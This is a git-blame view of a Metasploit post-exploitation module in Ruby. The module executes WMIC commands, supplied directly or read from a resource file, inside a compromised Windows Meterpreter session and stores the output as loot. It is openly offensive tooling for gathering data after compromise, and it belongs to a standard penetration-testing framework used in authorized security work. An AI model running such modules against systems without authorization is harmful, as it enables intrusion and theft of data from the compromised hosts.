Files
metasploit-gs/modules/post/windows/gather/wmic_command.rb
T

66 lines
2.0 KiB
Ruby
Raw Normal View History

2011-09-12 23:33:09 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2011-09-12 23:33:09 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Post
2013-12-14 18:30:43 +00:00
include Msf::Post::Windows::WMIC
2013-09-05 13:41:25 -05:00
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Run Specified WMIC Command',
'Description' => %q{ This module will execute a given WMIC command options or read
WMIC commands options from a resource file and execute the commands in the
specified Meterpreter session.},
'License' => MSF_LICENSE,
'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
2013-09-05 13:41:25 -05:00
register_options(
[
OptPath.new('RESOURCE', [false, 'Full path to resource file to read commands from.']),
OptString.new('COMMAND', [false, 'WMIC command options.']),
])
2013-09-05 13:41:25 -05:00
end
2011-09-12 23:33:09 +00:00
2013-09-05 13:41:25 -05:00
# Run Method for when run command is issued
def run
tmpout = ""
print_status("Running module against #{sysinfo['Computer']}")
if datastore['RESOURCE']
2016-04-20 08:11:34 -04:00
if ::File.exist?(datastore['RESOURCE'])
2011-09-12 23:33:09 +00:00
2013-12-14 20:05:51 +00:00
::File.open(datastore['RESOURCE']).each_line do |cmd|
2011-09-12 23:33:09 +00:00
2013-09-05 13:41:25 -05:00
next if cmd.strip.length < 1
next if cmd[0,1] == "#"
print_status "Running command #{cmd.chomp}"
2011-09-12 23:33:09 +00:00
2013-12-14 20:58:33 +00:00
result = wmic_query(cmd.chomp)
store_wmic_loot(result, cmd)
2013-09-05 13:41:25 -05:00
end
else
raise "Resource File does not exists!"
end
2011-09-12 23:33:09 +00:00
2013-09-05 13:41:25 -05:00
elsif datastore['COMMAND']
cmd = datastore['COMMAND']
2013-12-14 20:58:33 +00:00
result = wmic_query(cmd)
store_wmic_loot(result, cmd)
2013-09-05 13:41:25 -05:00
end
end
2011-09-12 23:33:09 +00:00
2013-12-14 20:58:33 +00:00
def store_wmic_loot(result_text, cmd)
command_log = store_loot("host.command.wmic",
"text/plain",
session,
result_text,
"#{cmd.gsub(/\.|\/|\s/,"_")}.txt",
"Command Output \'wmic #{cmd.chomp}\'")
print_status("Command output saved to: #{command_log}")
end
2011-09-12 23:33:09 +00:00
end